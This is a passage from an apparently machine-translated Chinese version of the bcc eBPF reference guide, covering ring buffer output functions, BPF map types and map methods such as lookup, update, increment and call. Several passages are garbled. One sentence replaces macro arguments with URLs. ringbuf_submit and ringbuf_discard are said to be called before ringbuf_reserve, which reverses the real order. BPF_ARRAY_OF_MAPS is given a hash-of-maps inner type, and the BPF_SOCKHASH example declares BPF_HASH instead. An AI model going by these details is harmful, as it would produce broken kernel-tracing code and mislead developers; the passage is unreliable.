<a href="https://github.com/iovisor/bcc/search?q=perf_submit+path%3Aexamples&amp;type=Code">搜索 /示例</a>, <a href="https://github.com/iovisor/bcc/search?q=perf_submit+path%3Atools&amp;type=Code">搜索 /工具</a></p>
<h3 id="4-perf_submit_skb"><a class="header" href="#4-perf_submit_skb">4. perf_submit_skb()</a></h3>
<p>语法:<code>int perf_submit_skb((void *)ctx, u32 packet_size, (void*)data, u32 data_size)</code></p>
<p>返回值成功返回0&quot;.一种在网络程序类型中可用的BPF_PERF_OUTPUT表的方法用于将自定义事件数据和数据包缓冲区的前<code>packet_size</code>字节一起提交到用户空间。请参阅BPF_PERF_OUTPUT条目。最终调用bpf_perf_event_output()函数。)</p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=perf_submit_skb+path%3Aexamples&amp;type=Code">搜索/examples</a>
<a href="https://github.com/iovisor/bcc/search?q=perf_submit_skb+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="5-bpf_ringbuf_output"><a class="header" href="#5-bpf_ringbuf_output">5. BPF_RINGBUF_OUTPUT</a></h3>
<p>语法:<code>BPF_RINGBUF_OUTPUT(name, page_cnt)</code></p>
<p>创建一个BPF表通过一个环形缓冲区将自定义事件数据推送到用户空间。
<code>BPF_RINGBUF_OUTPUT</code>相较于<code>BPF_PERF_OUTPUT</code>具有以下几个优点:</p>
<ul>
<li>缓冲区在所有CPU之间共享即每个CPU不需要单独分配</li>
<li>支持两种BPF程序的API
<ul>
<li><code>map.ringbuf_output()</code>类似于<code>map.perf_submit()</code>(在<a href="bcc-documents/reference_guide.html#6-ringbuf_output">ringbuf_output</a>中介绍)</li>
<li><code>map.ringbuf_reserve()</code>/<code>map.ringbuf_submit()</code>/<code>map.ringbuf_discard()</code>将保留缓冲区空间和提交事件的过程分为两步(在<a href="bcc-documents/reference_guide.html#7-ringbuf_reserve">ringbuf_reserve</a><a href="bcc-documents/reference_guide.html#8-ringbuf_submit">ringbuf_submit</a><a href="bcc-documents/reference_guide.html#9-ringbuf_discard">ringbuf_discard</a>中介绍)</li>
</ul>
</li>
<li>BPF API不需要访问CPU ctx参数</li>
<li>通过共享的环形缓冲区管理器,在用户空间中具有更高的性能和更低的延迟</li>
<li>支持两种在用户空间中消费数据的方式</li>
</ul>
<p>从Linux 5.8开始,这应该是将事件数据推送到用户空间的首选方法。</p>
<p>输出表命名为'事件'。数据通过'事件'。ringbuf_reserve分配并通过'事件'。ringbuf_submit推送到其中。</p>
<p>在situ示例<!-- TODO -->
<a href="https://github.com/iovisor/bcc/search?q=BPF_RINGBUF_OUTPUT+path%3Aexamples&amp;type=Code">搜索/示例</a></p>
<h3 id="6-ringbuf_output"><a class="header" href="#6-ringbuf_output">6. ringbuf_output</a></h3>
<p>语法int ringbuf_outputvoid *datau64 data_sizeu64 flags</p>
<p>返回成功返回0</p>
<p>标志:</p>
<ul>
<li><code>BPF_RB_NO_WAKEUP</code>:不发送新数据可用的通知</li>
<li><code>BPF_RB_FORCE_WAKEUP</code>:无条件发送新数据可用的通知</li>
</ul>
<p>BPF_RINGBUF_OUTPUT表的方法用于将自定义事件数据提交给用户空间。此方法类似于<code>perf_submit</code>但不需要ctx参数。</p>
<p>在situ示例<!-- TODO -->
<a href="https://github.com/iovisor/bcc/search?q=ringbuf_output+path%3Aexamples&amp;type=Code">搜索/示例</a></p>
<h3 id="7-ringbuf_reserve"><a class="header" href="#7-ringbuf_reserve">7. ringbuf_reserve()</a></h3>
<p>语法void * ringbuf_reserveu64 data_size</p>
<p>返回成功时返回数据结构的指针失败时返回NULL</p>
<p>BPF_RINGBUF_OUTPUT表的方法用于在环形缓冲区中保留空间并同时分配一个用于输出的数据结构。必须与<code>ringbuf_submit</code><code>ringbuf_discard</code>之一配合使用。</p>
<p>在situ示例<!-- TODO -->
[搜索/示例]<a href="https://github.com/iovisor/bcc/search?q=ringbuf_reserve+path%3Aexamples&amp;type=Code%EF%BC%89%EF%BC%8C">https://github.com/iovisor/bcc/search?q=ringbuf_reserve+path%3Aexamples&amp;type=Code</a></p>
<h3 id="8-ringbuf_submit"><a class="header" href="#8-ringbuf_submit">8. ringbuf_submit</a></h3>
<p>语法void ringbuf_submitvoid *datau64 flags</p>
<p>返回:无,始终成功</p>
<p>标志:- <code>BPF_RB_NO_WAKEUP</code>: 不发送新数据可用的通知</p>
<ul>
<li><code>BPF_RB_FORCE_WAKEUP</code>: 无条件发送新数据可用的通知</li>
</ul>
<p>BPF_RINGBUF_OUTPUT表的方法用于将自定义事件数据提交到用户态。必须在调用<code>ringbuf_reserve()</code>之前调用,以为数据预留空间。</p>
<p>现场示例:<!-- TODO -->
<a href="https://github.com/iovisor/bcc/search?q=ringbuf_submit+path%3Aexamples&amp;type=Code">搜索/examples</a>,</p>
<h3 id="9-ringbuf_discard"><a class="header" href="#9-ringbuf_discard">9. ringbuf_discard()</a></h3>
<p>语法: <code>void ringbuf_discard((void *)data, u64 flags)</code></p>
<p>返回值: 无,始终成功</p>
<p>标志:</p>
<ul>
<li><code>BPF_RB_NO_WAKEUP</code>: 不发送新数据可用的通知</li>
<li><code>BPF_RB_FORCE_WAKEUP</code>: 无条件发送新数据可用的通知</li>
</ul>
<p>BPF_RINGBUF_OUTPUT表的方法用于丢弃自定义事件数据用户空间将忽略与丢弃事件相关联的数据。必须在调用<code>ringbuf_reserve()</code>之前调用,以为数据预留空间。</p>
<p>现场示例:<!-- TODO -->
<a href="https://github.com/iovisor/bcc/search?q=ringbuf_submit+path%3Aexamples&amp;type=Code">搜索/examples</a>,</p>
<h2 id="maps"><a class="header" href="#maps">Maps</a></h2>
<p>Maps是BPF数据存储是更高级对象类型包括表、哈希和直方图的基础。</p>
<h3 id="1-bpf_table"><a class="header" href="#1-bpf_table">1. BPF_TABLE</a></h3>
<p>语法: <code>BPF_TABLE(_table_type,_key_type, _leaf_type,_name, _max_entries)</code></p>
<p>创建名为<code>_name</code>的映射。大多数情况下这将通过更高级的宏如BPF_HASH、BPF_ARRAY、BPF_HISTOGRAM等使用。</p>
<p><code>BPF_F_TABLE</code>是一个变体,最后一个参数采用标志。<code>BPF_TABLE(https://github.com/iovisor/bcc/tree/master.)</code>实际上是`BPF_F_TABLE(<a href="https://github.com/iovisor/bcc/tree/master">https://github.com/iovisor/bcc/tree/master</a>., 0 /<em>flag</em>/)```的包装。</p>
<p>方法稍后讨论map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。</p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_TABLE+path%3Aexamples&amp;type=Code">搜索/examples</a>,&quot;<a href="https://github.com/iovisor/bcc/search?q=BPF_TABLE+path%3Atools&amp;type=Code">搜索 /工具</a></p>
<h4 id="固定映射"><a class="header" href="#固定映射">固定映射</a></h4>
<p>语法: <code>BPF_TABLE_PINNED(_table_type,_key_type, _leaf_type,_name, _max_entries, &quot;/sys/fs/bpf/xyz&quot;)</code></p>
<p>如果映射不存在则创建一个新的映射并将其固定到bpffs作为文件否则使用已固定到bpffs的映射。类型信息不强制执行实际的映射类型取决于固定到位置的映射。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_TABLE_PINNED(&quot;hash&quot;, u64, u64, ids, 1024, &quot;/sys/fs/bpf/ids&quot;);
</code></pre>
<h3 id="2-bpf_hash"><a class="header" href="#2-bpf_hash">2. BPF_HASH</a></h3>
<p>语法: <code>BPF_HASH(name [, key_type [, leaf_type [, size]]])</code></p>
<p>创建一个哈希映射(关联数组),名称为<code>name</code>,具有可选参数。</p>
<p>默认值: <code>BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240)</code></p>
<p>例如:</p>
<pre><code class="language-C">BPF_HASH(start, struct request *);
</code></pre>
<p>这将创建一个名为<code>start</code>的哈希,其中关键字为<code>struct request *</code>值默认为u64。此哈希由disksnoop.py示例用于保存每个I/O请求的时间戳其中关键字是指向struct request的指针而值是时间戳。</p>
<p>这是<code>BPF_TABLE(&quot;hash&quot;, ...)</code>的包装宏。</p>
<p>方法稍后涵盖map.lookup()map.lookup_or_try_init()map.delete()map.update()map.insert()map.increment()。</p>
<p>示例中的原位置链接:<a href="https://github.com/iovisor/bcc/search?q=BPF_HASH+path%3Aexamples&amp;type=Code">搜索 /示例</a>,
<a href="https://github.com/iovisor/bcc/search?q=BPF_HASH+path%3Atools&amp;type=Code">搜索 /工具</a></p>
<h3 id="3-bpf_array"><a class="header" href="#3-bpf_array">3. BPF_ARRAY</a></h3>
<p>语法: <code>BPF_ARRAY(name [, leaf_type [, size]])</code></p>
<p>创建一个以整数索引的数组,最快速的查找和更新为优化,名称为<code>name</code>,具有可选参数。</p>
<p>默认值: <code>BPF_ARRAY(name, leaf_type=u64, size=10240)</code></p>
<p>例如:</p>
<pre><code class="language-C">BPF_ARRAY(counts, u64, 32);
</code></pre>
<p>这将创建一个名为<code>counts</code>的数组其中有32个存储桶和64位整数值。funccount.py示例使用此数组保存每个函数的调用计数。&quot;.这是一个 <code>BPF_TABLE(&quot;array&quot;, ...)</code> 的包装宏。</p>
<p>方法稍后介绍map.lookup()、map.update()、map.increment()。注意,所有数组元素都预先分配为零值,无法删除。</p>
<p>在当前位置的示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_ARRAY+path%3Aexamples&amp;type=Code">搜索/examples</a>
<a href="https://github.com/iovisor/bcc/search?q=BPF_ARRAY+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="4-bpf_histogram"><a class="header" href="#4-bpf_histogram">4. BPF_HISTOGRAM</a></h3>
<p>语法:<code>BPF_HISTOGRAM(name [, key_type [, size ]])</code></p>
<p>创建一个名为 <code>name</code> 的直方图映射,包含可选参数。</p>
<p>默认值:<code>BPF_HISTOGRAM(name, key_type=int, size=64)</code></p>
<p>例如:</p>
<pre><code class="language-C">BPF_HISTOGRAM(dist);
</code></pre>
<p>这创建了一个名为 <code>dist</code> 的直方图,默认有 64 个桶,以 int 类型的键索引。</p>
<p>这是一个 <code>BPF_TABLE(&quot;histgram&quot;, ...)</code> 的包装宏。</p>
<p>方法稍后介绍map.increment()。</p>
<p>在当前位置的示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_HISTOGRAM+path%3Aexamples&amp;type=Code">搜索/examples</a>
<a href="https://github.com/iovisor/bcc/search?q=BPF_HISTOGRAM+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="5-bpf_stack_trace"><a class="header" href="#5-bpf_stack_trace">5. BPF_STACK_TRACE</a></h3>
<p>语法:<code>BPF_STACK_TRACE(name, max_entries)</code></p>
<p>创建一个名为 <code>name</code> 的堆栈跟踪映射,提供最大条目数。这些映射用于存储堆栈跟踪。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_STACK_TRACE(stack_traces, 1024);
</code></pre>
<p>这创建了一个名为 <code>stack_traces</code> 的堆栈跟踪映射,最大堆栈跟踪条目数为 1024。</p>
<p>这是一个 <code>BPF_TABLE(&quot;stacktrace&quot;, ...)</code> 的包装宏。</p>
<p>方法稍后介绍map.get_stackid()。</p>
<p>在当前位置的示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_STACK_TRACE+path%3Aexamples&amp;type=Code">搜索/examples</a>
<a href="https://github.com/iovisor/bcc/search?q=BPF_STACK_TRACE+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="6-bpf_perf_array"><a class="header" href="#6-bpf_perf_array">6. BPF_PERF_ARRAY</a></h3>
<p>语法:<code>BPF_PERF_ARRAY(name, max_entries)</code></p>
<p>创建一个名为 <code>name</code> 的 perf 数组,提供最大条目数,该数必须等于系统 CPU 的数量。这些映射用于获取硬件性能计数器。例如:</p>
<pre><code class="language-C">text=&quot;&quot;&quot;
BPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);
&quot;&quot;&quot;
b = bcc.BPF(text=text, cflags=[&quot;-DNUM_CPUS=%d&quot; % multiprocessing.cpu_count()])
b[&quot;cpu_cycles&quot;].open_perf_event(b[&quot;cpu_cycles&quot;].HW_CPU_CYCLES)
</code></pre>
<p>这将创建一个名为<code>cpu_cycles</code>的性能数组条目数量等于CPU核心数。该数组被配置为稍后调用<code>map.perf_read()</code>将返回从过去某一时刻开始计算的硬件计数器的周期数。每个表只能配置一种类型的硬件计数器。</p>
<p>方法(稍后介绍):<code>map.perf_read()</code></p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_PERF_ARRAY+path%3Atests&amp;type=Code">搜索 /tests</a></p>
<h3 id="7-bpf_percpu_hash"><a class="header" href="#7-bpf_percpu_hash">7. BPF_PERCPU_HASH</a></h3>
<p>语法:<code>BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]])</code></p>
<p>创建NUM_CPU个以int索引的哈希映射关联数组名为<code>name</code>具有可选参数。每个CPU都会有一个单独的该数组副本。这些副本不以任何方式进行同步。</p>
<p>请注意由于内核中定义的限制位于linux/mm/percpu.c中<code>leaf_type</code>的大小不能超过32KB。
换句话说,<code>BPF_PERCPU_HASH</code>元素的大小不能超过32KB。</p>
<p>默认值:<code>BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240)</code></p>
<p>例如:</p>
<pre><code class="language-C">BPF_PERCPU_HASH(start, struct request *);
</code></pre>
<p>这将创建名为<code>start</code>的NUM_CPU个哈希其中键为<code>struct request *</code>值默认为u64。</p>
<p>这是对<code>BPF_TABLE(&quot;percpu_hash&quot;, ...)</code>的包装宏。</p>
<p>方法(稍后介绍):<code>map.lookup()</code><code>map.lookup_or_try_init()</code><code>map.delete()</code><code>map.update()</code><code>map.insert()</code><code>map.increment()</code></p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_PERCPU_HASH+path%3Aexamples&amp;type=Code">搜索 /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=BPF_PERCPU_HASH+path%3Atools&amp;type=Code">搜索 /tools</a></p>
<h3 id="8-bpf_percpu_array"><a class="header" href="#8-bpf_percpu_array">8. BPF_PERCPU_ARRAY</a></h3>
<p>语法:<code>BPF_PERCPU_ARRAY(name [, leaf_type [, size]])</code>。创建<code>name</code>的NUM_CPU个按整数索引优化的数组以实现最快的查找和更新具有可选参数。每个CPU都会有一个单独的副本。这些副本不能以任何方式同步。</p>
<p>请注意由于内核在linux/mm/percpu.c中定义的限制<code>leaf_type</code>的大小不能超过32KB。
换句话说,<code>BPF_PERCPU_ARRAY</code>元素的大小不能超过32KB。</p>
<p>默认值:<code>BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240)</code></p>
<p>例如:</p>
<pre><code class="language-C">BPF_PERCPU_ARRAY(counts, u64, 32);
</code></pre>
<p>这将创建NUM_CPU个名为<code>counts</code>的数组其中每个数组有32个桶和64位整数值。</p>
<p>这是<code>BPF_TABLE(&quot;percpu_array&quot;, ...)</code>的包装宏。</p>
<p>方法稍后介绍map.lookup()map.update()map.increment()。请注意,所有数组元素都预先分配为零值,并且不能被删除。</p>
<p>In situ示例
<a href="https://github.com/iovisor/bcc/search?q=BPF_PERCPU_ARRAY+path%3Aexamples&amp;type=Code">搜索/examples</a>
<a href="https://github.com/iovisor/bcc/search?q=BPF_PERCPU_ARRAY+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="9-bpf_lpm_trie"><a class="header" href="#9-bpf_lpm_trie">9. BPF_LPM_TRIE</a></h3>
<p>语法:<code>BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]])</code></p>
<p>创建一个名为<code>name</code>的最长前缀匹配字典树映射,带有可选参数。</p>
<p>默认值:<code>BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240)</code></p>
<p>例如:</p>
<pre><code class="language-c">BPF_LPM_TRIE(trie, struct key_v6);
</code></pre>
<p>这将创建一个名为<code>trie</code>的LPM字典树映射其中键是<code>struct key_v6</code>值默认为u64。</p>
<p>这是一个对<code>BPF_F_TABLE(&quot;lpm_trie&quot;, ..., BPF_F_NO_PREALLOC)</code>的包装宏。</p>
<p>方法稍后介绍map.lookup()map.lookup_or_try_init()map.delete()map.update()map.insert()map.increment()。</p>
<p>In situ示例
<a href="https://github.com/iovisor/bcc/search?q=BPF_LPM_TRIE+path%3Aexamples&amp;type=Code">搜索/examples</a>
<a href="https://github.com/iovisor/bcc/search?q=BPF_LPM_TRIE+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="10-bpf_prog_array"><a class="header" href="#10-bpf_prog_array">10. BPF_PROG_ARRAY</a></h3>
<p>语法:<code>BPF_PROG_ARRAY(name, size)</code>。创建一个名为 <code>name</code> 的程序数组,其中包含 <code>size</code> 个条目。数组的每个条目要么是指向一个 bpf 程序的文件描述符,要么是 <code>NULL</code>。该数组作为一个跳转表,以便 bpf 程序可以“尾调用”其他 bpf 程序。</p>
<p>这是一个 <code>BPF_TABLE(&quot;prog&quot;, ...)</code> 的包装宏。</p>
<p>方法稍后介绍map.call()。</p>
<p>实时示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_PROG_ARRAY+path%3Aexamples&amp;type=Code">搜索 /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=BPF_PROG_ARRAY+path%3Atests&amp;type=Code">搜索 /tests</a>,
<a href="https://github.com/iovisor/bcc/blob/master/examples/networking/tunnel_monitor/monitor.py#L24-L26">分配 fd</a></p>
<h3 id="11-bpf_devmap"><a class="header" href="#11-bpf_devmap">11. BPF_DEVMAP</a></h3>
<p>语法:<code>BPF_DEVMAP(name, size)</code></p>
<p>这创建了一个名为 <code>name</code> 的设备映射,其中包含 <code>size</code> 个条目。映射的每个条目都是一个网络接口的 <code>ifindex</code>。此映射仅在 XDP 中使用。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_DEVMAP(devmap, 10);
</code></pre>
<p>方法稍后介绍map.redirect_map()。</p>
<p>实时示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_DEVMAP+path%3Aexamples&amp;type=Code">搜索 /examples</a>,</p>
<h3 id="12-bpf_cpumap"><a class="header" href="#12-bpf_cpumap">12. BPF_CPUMAP</a></h3>
<p>语法:<code>BPF_CPUMAP(name, size)</code></p>
<p>这创建了一个名为 <code>name</code> 的 CPU 映射,其中包含 <code>size</code> 个条目。映射的索引表示 CPU 的 ID每个条目是为 CPU 分配的环形缓冲区的大小。此映射仅在 XDP 中使用。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_CPUMAP(cpumap, 16);
</code></pre>
<p>方法稍后介绍map.redirect_map()。</p>
<p>实时示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_CPUMAP+path%3Aexamples&amp;type=Code">搜索 /examples</a>,</p>
<h3 id="13-bpf_xskmap"><a class="header" href="#13-bpf_xskmap">13. BPF_XSKMAP</a></h3>
<p>语法:<code>BPF_XSKMAP(name, size [, &quot;/sys/fs/bpf/xyz&quot;])</code>。这将创建一个名为<code>name</code>的xsk映射带有<code>size</code>个条目并将其固定到bpffs作为一个文件。每个条目表示一个NIC的队列ID。该映射仅在XDP中用于将数据包重定向到AF_XDP套接字。如果AF_XDP套接字绑定到与当前数据包的队列ID不同的队列则数据包将被丢弃。对于内核v5.3及更高版本“lookup”方法可用于检查当前数据包的队列ID是否可用于AF_XDP套接字。有关详细信息请参阅<a href="https://www.kernel.org/doc/html/latest/networking/af_xdp.html">AF_XDP</a></p>
<p>例如:</p>
<pre><code class="language-C">BPF_XSKMAP(xsks_map, 8);
</code></pre>
<p>方法稍后涵盖map.redirect_map()。map.lookup()</p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=BPF_XSKMAP+path%3Aexamples&amp;type=Code">search /examples</a>,</p>
<h3 id="14-bpf_array_of_maps"><a class="header" href="#14-bpf_array_of_maps">14. BPF_ARRAY_OF_MAPS</a></h3>
<p>语法:<code>BPF_ARRAY_OF_MAPS(name, inner_map_name, size)</code></p>
<p>这将创建一个带有映射内部类型BPF_MAP_TYPE_HASH_OF_MAPS的数组映射名称为<code>name</code>,包含<code>size</code>个条目。映射的内部元数据由映射<code>inner_map_name</code>提供,可以是除了<code>BPF_MAP_TYPE_PROG_ARRAY</code><code>BPF_MAP_TYPE_CGROUP_STORAGE</code><code>BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE</code>之外的大多数数组或哈希映射。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_TABLE(&quot;hash&quot;, int, int, ex1, 1024);
BPF_TABLE(&quot;hash&quot;, int, int, ex2, 1024);
BPF_ARRAY_OF_MAPS(maps_array, &quot;ex1&quot;, 10);
</code></pre>
<h3 id="15-bpf_hash_of_maps"><a class="header" href="#15-bpf_hash_of_maps">15. BPF_HASH_OF_MAPS</a></h3>
<p>语法:<code>BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size)</code></p>
<p>这将创建一个带有映射内部类型BPF_MAP_TYPE_HASH_OF_MAPS的哈希映射名称为<code>name</code>,包含<code>size</code>个条目。映射的内部元数据由映射<code>inner_map_name</code>提供,可以是除了<code>BPF_MAP_TYPE_PROG_ARRAY</code><code>BPF_MAP_TYPE_CGROUP_STORAGE</code><code>BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE</code>之外的大多数数组或哈希映射。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_ARRAY(ex1, int, 1024);
BPF_ARRAY(ex2, int, 1024);
BPF_HASH_OF_MAPS(maps_hash, struct custom_key, &quot;ex1&quot;, 10);
</code></pre>
<h3 id="16-bpf_stack"><a class="header" href="#16-bpf_stack">16. BPF_STACK</a></h3>
<p>语法:<code>BPF_STACK(name, leaf_type, max_entries[, flags])</code>。创建一个名为 <code>name</code> 的堆栈,其值类型为 <code>leaf_type</code>,最大条目数为 <code>max_entries</code>
堆栈和队列映射仅适用于 Linux 4.20+。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_STACK(stack, struct event, 10240);
</code></pre>
<p>这将创建一个名为 <code>stack</code> 的堆栈,其值类型为 <code>struct event</code>,最多可容纳 10240 个条目。</p>
<p>方法后面会涉及map.push()、map.pop()、map.peek()。</p>
<p>示例:</p>
<p><a href="https://github.com/iovisor/bcc/search?q=BPF_STACK+path%3Atests&amp;type=Code">search /tests</a> 中。</p>
<h3 id="17-bpf_queue"><a class="header" href="#17-bpf_queue">17. BPF_QUEUE</a></h3>
<p>语法:<code>BPF_QUEUE(name, leaf_type, max_entries[, flags])</code></p>
<p>创建一个名为 <code>name</code> 的队列,其值类型为 <code>leaf_type</code>,最大条目数为 <code>max_entries</code>
堆栈和队列映射仅适用于 Linux 4.20+。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_QUEUE(queue, struct event, 10240);
</code></pre>
<p>这将创建一个名为 <code>queue</code> 的队列,其值类型为 <code>struct event</code>,最多可容纳 10240 个条目。</p>
<p>方法后面会涉及map.push()、map.pop()、map.peek()。</p>
<p>示例:</p>
<p><a href="https://github.com/iovisor/bcc/search?q=BPF_QUEUE+path%3Atests&amp;type=Code">search /tests</a> 中。</p>
<h3 id="18-bpf_sockhash"><a class="header" href="#18-bpf_sockhash">18. BPF_SOCKHASH</a></h3>
<p>语法:<code>BPF_SOCKHASH(name[, key_type [, max_entries)</code></p>
<p>创建一个名为 <code>name</code> 的哈希带有可选参数。sockhash仅适用于Linux 4.18+。</p>
<p>默认值:<code>BPF_SOCKHASH(name, key_type=u32, max_entries=10240)</code></p>
<p>例如:</p>
<pre><code class="language-C">struct sock_key {
u32 remote_ip4;
u32 local_ip4;
u32 remote_port;
u32 local_port;
};
BPF_HASH(skh, struct sock_key, 65535);
</code></pre>
<p>这将创建一个名为 <code>skh</code> 的哈希表,其中键是 <code>struct sock_key</code></p>
<p>sockhash是一种BPF映射类型它保存对sock结构体的引用。然后通过使用新的sk/msg重定向BPF辅助函数BPF程序可以使用该映射在套接字之间重定向skbs/msgs<code>map.sk_redirect_hash()/map.msg_redirect_hash()</code>)。<code>BPF_SOCKHASH</code><code>BPF_SOCKMAP</code>的区别在于<code>BPF_SOCKMAP</code>是基于数组实现的,并且强制键为四个字节。
<code>BPF_SOCKHASH</code>是基于哈希表实现的,并且键的类型可以自由指定。</p>
<p>方法稍后介绍map.sock_hash_update()map.msg_redirect_hash()map.sk_redirect_hash()。</p>
<p><a href="https://github.com/iovisor/bcc/search?q=BPF_SOCKHASH+path%3Atests&amp;type=Code">搜索/tests</a></p>
<h3 id="19-maplookup"><a class="header" href="#19-maplookup">19. map.lookup()</a></h3>
<p>语法:<code>*val map.lookup(&amp;key)</code></p>
<p>在映射中查找键如果存在则返回指向其值的指针否则返回NULL。我们将键作为指针的地址传入。</p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=lookup+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=lookup+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="20-maplookup_or_try_init"><a class="header" href="#20-maplookup_or_try_init">20. map.lookup_or_try_init()</a></h3>
<p>语法:<code>*val map.lookup_or_try_init(&amp;key, &amp;zero)</code></p>
<p>在映射中查找键如果存在则返回指向其值的指针否则将键的值初始化为第二个参数。通常用于将值初始化为零。如果无法插入键例如映射已满则返回NULL。</p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=lookup_or_try_init+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=lookup_or_try_init+path%3Atools&amp;type=Code">搜索/tools</a></p>
<p>注意旧的map.lookup_or_init()可能导致函数返回因此建议使用lookup_or_try_init(),它没有这种副作用。</p>
<h3 id="21-mapdelete"><a class="header" href="#21-mapdelete">21. map.delete()</a></h3>
<p>语法:<code>map.delete(&amp;key)</code></p>
<p>从哈希表中删除键。</p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=delete+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=delete+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="22-mapupdate"><a class="header" href="#22-mapupdate">22. map.update()</a></h3>
<p>语法:<code>map.update(&amp;key, &amp;val)</code></p>
<p>将第二个参数中的值与键关联,覆盖任何先前的值。</p>
<p>示例:&quot;<a href="https://github.com/iovisor/bcc/search?q=update+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=update+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="23-mapinsert"><a class="header" href="#23-mapinsert">23. map.insert()</a></h3>
<p>语法: <code>map.insert(&amp;key, &amp;val)</code></p>
<p>将第二个参数中的值与键相关联,仅在之前没有值的情况下。</p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=insert+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=insert+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="24-mapincrement"><a class="header" href="#24-mapincrement">24. map.increment()</a></h3>
<p>语法: <code>map.increment(key[, increment_amount])</code></p>
<p>通过 <code>increment_amount</code>默认为1增加键的值。用于柱状图。</p>
<p><code>map.increment()</code>不是原子操作。在并发情况下,如果要获得更准确的结果,请使用 <code>map.atomic_increment()</code> 而不是 <code>map.increment()</code><code>map.increment()</code><code>map.atomic_increment()</code> 的开销相似。</p>
<p>注意. 当使用 <code>map.atomic_increment()</code> 操作类型为 <code>BPF_MAP_TYPE_HASH</code> 的 BPF map 时,如果指定的键不存在,则 <code>map.atomic_increment()</code> 无法保证操作的原子性。</p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=increment+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=increment+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="25-mapget_stackid"><a class="header" href="#25-mapget_stackid">25. map.get_stackid()</a></h3>
<p>语法: <code>int map.get_stackid(void *ctx, u64 flags)</code></p>
<p>这会遍历在 <code>ctx</code> 中找到的 struct pt_regs 中的堆栈,将其保存在堆栈跟踪 map 中,并返回一个唯一的堆栈跟踪 ID。</p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=get_stackid+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=get_stackid+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="26-mapperf_read"><a class="header" href="#26-mapperf_read">26. map.perf_read()</a></h3>
<p>语法: <code>u64 map.perf_read(u32 cpu)</code></p>
<p>现场示例:&quot;&quot;<a href="https://github.com/iovisor/bcc/search?q=perf_read+path%3Atests&amp;type=Code">搜索/tests</a></p>
<h3 id="27-mapcall"><a class="header" href="#27-mapcall">27. map.call()</a></h3>
<p>语法:<code>void map.call(void *ctx, int index)</code></p>
<p>这将调用<code>bpf_tail_call()</code>来尾调用<a href="bcc-documents/reference_guide.html#10-bpf_prog_array">BPF_PROG_ARRAY</a>中指向<code>index</code>入口的bpf程序。尾调用与普通调用不同。它在跳转到另一个bpf程序后重用当前的栈帧并且不会返回。如果<code>index</code>入口为空,它将不会跳转到任何地方,程序的执行将会继续进行。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_PROG_ARRAY(prog_array, 10);
int tail_call(void *ctx) {
bpf_trace_printk(&quot;尾调用\n&quot;);
return 0;
}
int do_tail_call(void *ctx) {
bpf_trace_printk(&quot;原始的程序\n&quot;);
prog_array.call(ctx, 2);
return 0;
}
</code></pre>
<pre><code class="language-Python">b = BPF(src_file=&quot;example.c&quot;)
tail_fn = b.load_func(&quot;tail_call&quot;, BPF.KPROBE)
prog_array = b.get_table(&quot;prog_array&quot;)
prog_array[c_int(2)] = c_int(tail_fn.fd)
b.attach_kprobe(event=&quot;some_kprobe_event&quot;, fn_name=&quot;do_tail_call&quot;)
